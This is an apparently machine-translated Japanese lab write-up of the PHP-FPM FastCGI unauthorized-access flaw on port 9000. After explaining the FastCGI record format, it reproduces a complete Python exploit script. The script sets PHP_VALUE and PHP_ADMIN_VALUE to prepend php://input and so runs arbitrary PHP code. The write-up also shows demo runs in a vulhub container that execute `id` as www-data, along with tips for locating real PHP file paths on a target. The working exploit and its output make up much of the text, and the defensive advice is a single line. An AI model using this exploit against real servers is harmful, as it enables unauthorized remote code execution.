fastcgi 不正アクセスの脆弱性 (php-fpm fast-cgi 不正アクセスの脆弱性)

この記事では、 「Fastcgi プロトコル解析 && PHP-FPM 不正アクセス脆弱性 && Exp Writing」を 参考に脆弱性を再現・解析しています。

1. 事前の基礎

1.1 nginx の fastcgi

まず、以前に使用した図を見てみましょう。これは、nginx がユーザー リクエストを解析するプロセスです。

図内のいくつかの定義:

• CGI: CGI は、Nginx または他の Web サーバーによって渡されるデータ形式を定義するプロトコルです。正式名は (Common Gateway Interface、CGI) です。CGI は、Web サーバー以外の言語で作成できる独立したプログラムです。CGI プログラム、 C、Perl、Python など。
• FastCGI: FastCGI はプロトコルであり、その前身は CGI であり、より安定性とパフォーマンスが向上した CGI の最適化バージョンとして理解できます。
• PHP-CGI: これは単なる PHP インタープリターであり、リクエストを解析して結果を返すだけであり、プロセス管理は行いません。
• PHP-FPM: 正式名称は FastCGI Process Manager 名前を見ればわかります PHP-FPM は FastCGI プロセスのマネージャーですが、前述したように FastCGI はプログラムではなくプロトコルであるため、PHP を管理します-CGI、PHP のようなものを形成 -CGI プロセス プールの概念。
• ラッパー：手紙は包むという意味ですが、誰が包んでいるのですか？パッケージは FastCGI であり、Wrapper がリクエストを受信した後、FastCGI インターフェイスを通じて新しいスレッドを生成し、PHP インタープリタを呼び出してデータを処理します。

つまり、通信プロトコルとしての fastcgi です。nginx プログラムと php-fpm 通信の間のブリッジを提供します。仕様として、サーバーが受信した PHP リクエストは完全かつ迅速に php-fpm マジック モジュールに渡されて処理できることが保証されています。

1.2 fastcgi プロトコルの解析

1.2.1 Fastcgi レコード

Fastcgi は実際には通信プロトコルであり、HTTP プロトコルと同様にデータ交換用のチャネルです。

HTTPプロトコルはブラウザとサーバミドルウェア間でデータをやり取りするためのプロトコルで、ブラウザはHTTPヘッダとHTTPボディを一定の規則に従ってデータパケットに組み立て、TCPの形式でサーバミドルウェアに送信します。サーバーミドルウェアは、データパケットをルールに従って変換し、デコードし、要件に従ってユーザーが必要とするデータを取得し、HTTPプロトコルのルールに従ってパッケージ化してサーバーに返します。

HTTP プロトコルに似た fastcgi プロトコルは、サーバー ミドルウェアと言語バックエンド間のデータ交換用のプロトコルです。Fastcgi プロトコルは複数のレコードで構成されており、レコードにはヘッダーとボディもあります。サーバー ミドルウェアは、fastcgi の規則に従って 2 つをカプセル化し、言語バックエンドに送信します。デコード後、言語バックエンドは特定のデータを取得し、実行します。指定された操作を実行し、結果はプロトコルに従ってカプセル化され、サーバーミドルウェアに返されます。

HTTPヘッダーと異なり、レコードのヘッダーは8バイト固定で、ボディはヘッダー内のcontentLengthで指定され、以下のような構造になっています。

#这是c语言中定义的结构体
typedef struct {
    
    
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

ヘッダーは、それぞれ 1 バイトの uchar 型の 8 つの変数で構成されます。このうち、requestId複数のリクエスト間の影響を避けるための一意のフラグ ID は 2 バイトを占め、contentLengthボディのサイズを示す 2 バイトを占めます。

言語処理モジュールは、fastcgi ヘッダーを解析して取得し、本体であるcontentLengthTCP ストリーム内のサイズと同じか等しいデータを読み取ります。contentLength

Body の後に追加のデータ (Padding) があり、その長さはヘッダーの paddingLength によって指定され、予約されています。Padding が必要ない場合は、長さを 0 に設定してください。

2^16fastcgi レコード構造でサポートされる最大本体サイズは(2 バイト 16 ビット)、つまり 65536 バイトであることがわかります。

1.2.2 Fastcgi タイプ

typeレコードのアクションの種類を指定します。fastcgi のレコードのサイズは限られており、その機能は単一であるため、分類して表現する必要があります。したがって、1 つの TCP ストリームで複数のレコードを送信する必要があります。各レコードの役割をマークすることで、同じリクエストのIDとしてtype使用されます。requestId

つまり、リクエストごとに複数のレコードが存在し、それらはrequestId同じです。

型の値	具体的な意味
1	php-fpm との接続を確立した後に送信される最初のメッセージの type 値は 1 である必要があります。これは、このメッセージがリクエストの開始時の最初のメッセージであることを示すために使用されます。
2	php-fpm との対話が異常に切断されました
3	php-fpm との対話で送信された最後のメッセージの type 値は this で、対話の正常な終了を示します。
4	対話中に環境パラメーターを php-fpm に渡すとき、メッセージに含まれるデータが名前と値のペアであることを示すために、type を this に設定します。
5	Webサーバーはブラウザから受信したPOSTリクエストデータ（フォーム送信など）をメッセージ形式でphp-fpmに送信します。このメッセージのタイプは5に設定する必要があります。
6	php-fpm によって Web サーバーに返される通常の応答メッセージのタイプは 6 に設定されます。
7	php-fpm によって Web サーバーに返されるエラー応答は 7 に設定されます。

このフォームを読むと、サーバー ミドルウェアがバックエンド言語と通信していることがわかります。最初のデータ パケットはtype1 のレコードです。その後、相互に通信してtype4、5、6、7 のレコードを送信します。 . 最後にtype2. 、 3 件のレコードを送信します。

バックエンド言語はtypeレコード 4 を受け取ると、対応する構造 (環境変数) に従ってレコードの本文をキーと値のペアに解析します。環境変数の構造は次のとおりです。

typedef struct {
    
    
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
    
    
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;

typedef struct {
    
    
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
    
    
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

これらは実際には 4 つの構造ですが、どの構造を使用するかについては、次の規則があります。

1. キーと値の両方が 128 バイト未満である場合は、次を使用します。FCGI_NameValuePair11
2. キーは 128 バイトより大きく、値は 128 バイト未満です。FCGI_NameValuePair41
3. キーが 128 バイト未満、値が 128 バイトを超える場合は、次を使用します。FCGI_NameValuePair14
4. キーと値の両方が 128 バイトより大きい場合は、次を使用します。FCGI_NameValuePair44

タイプ 4 レコードは、php-fpm との通信において非常に重要な役割を果たすため、分析に重点を置きます。

1.2.3 PHP-FPM (FastCGI プロセスマネージャー)

php-fpmは、fast-cgiを受け取って処理するモジュールプログラムです。fast-cgi 情報を効率的に受け取るだけでなく、php リクエストを処理するための独自の php-cgi プロセスに情報を渡すこともできます。

FPM は、fastcgi プロトコルに従って TCP ストリームを実際のデータに解析します。

たとえば、ユーザーが にアクセスした場合http://127.0.0.1/index.php?a=1&b=2、Web ディレクトリが の場合/var/www/html、Nginx はリクエストを次のキーと値のペアに変更します。

{
    
    
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

この配列は実際には PHP の配列の一部であり$_SERVER、PHP の環境変数です。しかし、環境変数の機能は、$_SERVER配列を埋めるだけではなく、fpm に「どの PHP ファイルを実行すべきか」を指示することもできます。たとえば、script filename内の 1 つは/var/www/html/index.php、ファイルの場所を解析する必要がある場所を php-cgi に指示するものです。

1.2.4security.limit_extensions構成

この設定は、一致する php-fpm 解析プロセスでSCRIPT_FILENAMEどのサフィックスを解析できるかを指定するために使用されます。空に設定した場合は、接尾辞が付いたすべての php ファイルを解析することを意味します。php-fpmのセキュリティ設定ですが、正しく設定されていない場合、不正なphpファイル解析の重大な脆弱性、つまりファイルアップロードの脆弱性が発生する可能性があります。ウェブサイトを馬にリンクさせます。「nginx ミドルウェアの一般的な脆弱性の概要」に移動して、原因となる特定の種類の脆弱性を確認できます。

ここに添付されているのは、公式ドキュメントに記載されている構成の提案です。

[root@blackstone php-fpm]# vim /etc/php-fpm.d/www.conf

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
#这一句是重点，在设置解析时，为空则表示允许所有的后缀解析
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5

2. 脆弱性の原因

脆弱性の原因はまだ明らかではありませんが、不正アクセスなので0.0.0.0：9000
このような設定は必須でしょう。これは、管理者が構成中に誤って php-fpm の 9000 ポートのアクセス制限を設定し、すべての IP アクセスを許可したためです。これにより、権限のないユーザーもこのポートにアクセスするようになりました。これは、不純な動機を持つ一部の攻撃者に侵入ポイントを提供します。

ここでは、エクスプロイト スクリプトが最初に提供され、元のリンクにはアクセスできなくなります。これを直下に貼り付けます。py2 と py3 に適応されています。元のリンク: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={
    
    }, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
    
    
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

3. 悪用例

テスト環境：vulhubのnginx解析の脆弱性に関する環境

[root@blackstone fpm]# pwd
/root/vulhub-master/php/fpm
[root@blackstone fpm]# docker-compose up -d
#报错的话可以关闭本机的fpm服务
[root@blackstone fpm]# systemctl stop php-fpm
[root@blackstone fpm]# netstat -anop | grep 9000

3.1 攻撃デモンストレーション

上記のエクスプロイトを使用すると、一部の PHP ステートメントがターゲット ホストのポート 9000 に送信され、任意のコード実行の脆弱性が引き起こされる可能性があります。このような：

#这里的路径参数一定要是目标网站上的一个真实存在的php代码，否则会出现404的返回结果

[root@blackstone fpm]# python2 fpm.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c '<?php echo `id`;?>'
X-Powered-By: PHP/8.1.1
Content-type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)

#参数为不存在的php文件时
[root@blackstone fpm]# python2 fpm.py 127.0.0.1 /usr/local/lib/php/PEAR0012.php -c '<?php echo `id`;?>'
Primary script unknownStatus: 404 Not Found
X-Powered-By: PHP/8.1.1
Content-type: text/html; charset=UTF-8

File not found.

ヒント: 実際の PHP ファイルのパスを取得する方法。

#1.直接去真实的web页面路径里面添加错误路径，寻求报错回显出我们要的真实路径。

#2.根据目标的操作系统，寻找应该有的安装php依赖时残留下来的php文件。
root@892d77a19d74:~# find / -name *.php
find: '/proc/1/map_files': Operation not permitted
find: '/proc/6/map_files': Operation not permitted
find: '/proc/7/map_files': Operation not permitted
find: '/proc/8/map_files': Operation not permitted
find: '/proc/435/map_files': Operation not permitted
/usr/local/lib/php/Archive/Tar.php
/usr/local/lib/php/Console/Getopt.php
/usr/local/lib/php/OS/Guess.php
/usr/local/lib/php/PEAR/Builder.php
/usr/local/lib/php/PEAR/ChannelFile/Parser.php
/usr/local/lib/php/PEAR/ChannelFile.php
/usr/local/lib/php/PEAR/Command/Auth.php
/usr/local/lib/php/PEAR/Command/Build.php
/usr/local/lib/php/PEAR/Command/Channels.php
/usr/local/lib/php/PEAR/Command/Common.php
/usr/local/lib/php/PEAR/Command/Config.php
/usr/local/lib/php/PEAR/Command/Install.php
/usr/local/lib/php/PEAR/Command/Mirror.php
/usr/local/lib/php/PEAR/Command/Package.php
/usr/local/lib/php/PEAR/Command/Pickle.php
/usr/local/lib/php/PEAR/Command/Registry.php
/usr/local/lib/php/PEAR/Command/Remote.php
/usr/local/lib/php/PEAR/Command/Test.php
/usr/local/lib/php/PEAR/Command.php
/usr/local/lib/php/PEAR/Common.php

3.2 security.limit_extensions の制限 - パラメーターは .php 接尾辞が付いた実際のファイルである必要があります

次に、この脆弱性の利用をどのように実現するかを真剣に考えなければなりません。

Zhou 氏が提供したアイデアは、任意のコマンド実行の効果を最終的に実現することであり、まず、fastcgi プロトコルを使用して、対応する開いているポートに情報を送信できます。これは間違いなく実行されていません。しかし振り返ってみると、どのような情報を送信すれば効果があるのか​​、あるいはscriptname特定のファイルを指すファイルを送信して php にそれを返させることができるのか、ということになります。

実際、これは php-fpm の古いバージョンでも実現でき、fastcgi を使用して既存のファイルをリクエストすると、そのファイルは php として解析されて返されます。たとえば、/etc/passwd ファイルの情報を表示するには、上記の exp を使用します。今度は、アクセス許可拒否エラーが発生します。

[root@blackstone fpm]# python2 fpm.py 127.0.0.1 /etc/passwd
Access to the script '/etc/passwd' has been denied (see security.limit_extensions)Status: 403 Forbidden
X-Powered-By: PHP/8.1.1
Content-type: text/html; charset=UTF-8

Access denied.

実際、この問題は、上で説明した設定項目に関連しておりsecurity.limit_extensions、この設定は、php-fpm によって受信されるスクリプト名で解析できるファイル接尾辞のタイプを設定します。空の場合、すべての解析が許可され、構成後に再度テストします。

#1.修改一套配置了security.limit的文件，到放到虚拟主机内部，尝试测试
[root@blackstone fpm]# cp /etc/php-fpm.d/www.conf .
[root@blackstone fpm]# vim www.conf

#2.文件复制到目标目录内部
[root@blackstone fpm]# docker ps -a
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES
892d77a19d74        php:fpm             "docker-php-entrypoi…"   26 minutes ago      Up 26 minutes       0.0.0.0:9000->9000/tcp   fpm_php_1
[root@blackstone fpm]# docker cp www.conf 892d77a19d74:/

root@892d77a19d74:/var/www/html# find / -name www.conf
find: '/proc/1/map_files': Operation not permitted
find: '/proc/6/map_files': Operation not permitted
find: '/proc/7/map_files': Operation not permitted
find: '/proc/8/map_files': Operation not permitted
find: '/proc/13/map_files': Operation not permitted
/usr/local/etc/php-fpm.d/www.conf
/www.conf
root@892d77a19d74:/var/www/html# cd /usr/local/etc/php-fpm.d/
root@892d77a19d74:/usr/local/etc/php-fpm.d# mv www.conf www
root@892d77a19d74:/usr/local/etc/php-fpm.d# mv /www.conf .
#3.尝试再次运行攻击脚本

[root@blackstone fpm]# python2 fpm.py 127.0.0.1 /etc/passwd
Access to the script '/etc/passwd' has been denied (see security.limit_extensions)Status: 403 Forbidden
X-Powered-By: PHP/8.1.1
Content-type: text/html; charset=UTF-8

Access denied.

ここではまだ動作せず、ここでは /etc/passwd へのアクセスが許可されておらず、ダウングレードしようとしてもまだ動作しません。いずれにしても、exp の恩恵を受けても、.php 以外のサフィックスを持つファイルを解析することは不可能であることがわかります。さらに、ほとんどの場合、.php 接尾辞ファイルの解析のみが有効になります。

3.3 php ステートメントを実行するにはどうすればよいですか?

.phpphp-fpmに fastcgi を介してシステム上の既存のファイルを解析させることしかできない場合、それは意味がありません。ファイルはすでにサーバー上にあるため、ファイルのアップロード ポイントが弱い場合でも、.php サフィックスが付いた php ファイルをアップロードしましょう。そうすれば、適用範囲はそれほど狭くないかもしれません。

auto_prepend_fileしかし、PHP は強力な言語であり、PHP.INIとには 2 つの興味深い構成項目がありますauto_append_file。

auto_prepend_fileこれは、ターゲット ファイルを実行する前に で指定されauto_prepend_fileたファイルをインクルードするように PHP に指示し、auto_append_fileターゲット ファイルの実行後に指定auto_append_fileされたファイルをインクルードするように PHP に指示します。

つまり、これら 2 つのパラメータを設定することにより、条件が適切であれば、php ファイルを解析する前にファイルを含めることができます (サーバーはファイルのリモート組み込みを許可します)。疑似プロトコルを使用して、php://inoutポストリクエストの本文に入る PHP コードを解析できます。

auto_prepend_fileに設定しますphp://input。

ただし、サーバーの pnp.ini を直接変更することはできません。許可なしに変更する必要があります。別の問題。パニックにならないでください。著者は php-fpm に関する知識も提示しています。

PHP-FPM の 2 つの環境変数、PHP_VALUEおよびPHP_ADMIN_VALUE。これら 2 つの環境変数は、PHP の設定項目を設定するために使用され、PHP_VALUEモードPHP_INI_USERとPHP_INI_ALLオプションを設定することも、PHP_ADMIN_VALUEすべてのオプションを設定することもできます。(disable_functionsただし、このオプションは PHP のロード時に決定され、スコープ内の関数は PHP コンテキストに直接ロードされません) つまり、FPM の環境変数を設定することで、リモート ファイルのインクルードを有効にし、エフェクトauto_prepend_fileの設定です。php://input

exp によって送信される fast-cgi パラメータは次のとおりです。

{
    
    
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

この時点で、ポストリクエスト本文の PHP コードはスムーズに実行されます。任意のコード実行の脆弱性を完全に実装します。著者の考え方と PHP に関する深い基礎知識には感心せざるを得ません。

4. 修理のご提案

設定するとき、特にsecurity.limit_extensionリスニングポートと php-fpm モジュールの設定には注意してください。最小公開の原則に従ってください。

5. まとめ

fastcgi の不正アクセスの脆弱性は、間違ったリスニング ポート構成によって引き起こされる構成タイプの脆弱性です。イントラネットの展開では、簡単で高速な 0.0.0.0:9000 を人為的に監視する人がよくいます。誰もが知っているように、これはサーバーの脆弱な部分にもなります。

この脆弱性については、作成者が php の知識と fast-cgi の関連知識をどのように利用しているかを理解するために、攻撃のアイデアに焦点を当てる必要があります。対応するエクスプロイトを作成して攻撃を実現します。任意のコードとして解析するために最も重要なことは、作成したコードをサーバーに解析させることです。作成者は、php.ini 構成ファイルを利用して、解析する前にファイルを外部ファイルに含めauto_prepend_fileます.php。fast-cgi を再利用しPHP_VALUE、PHP_ADMIN_VALUEインクルードする許可ファイルを設定します。最後に、実行可能な PHP コードをポストリクエストボディに挿入する操作が実現されます。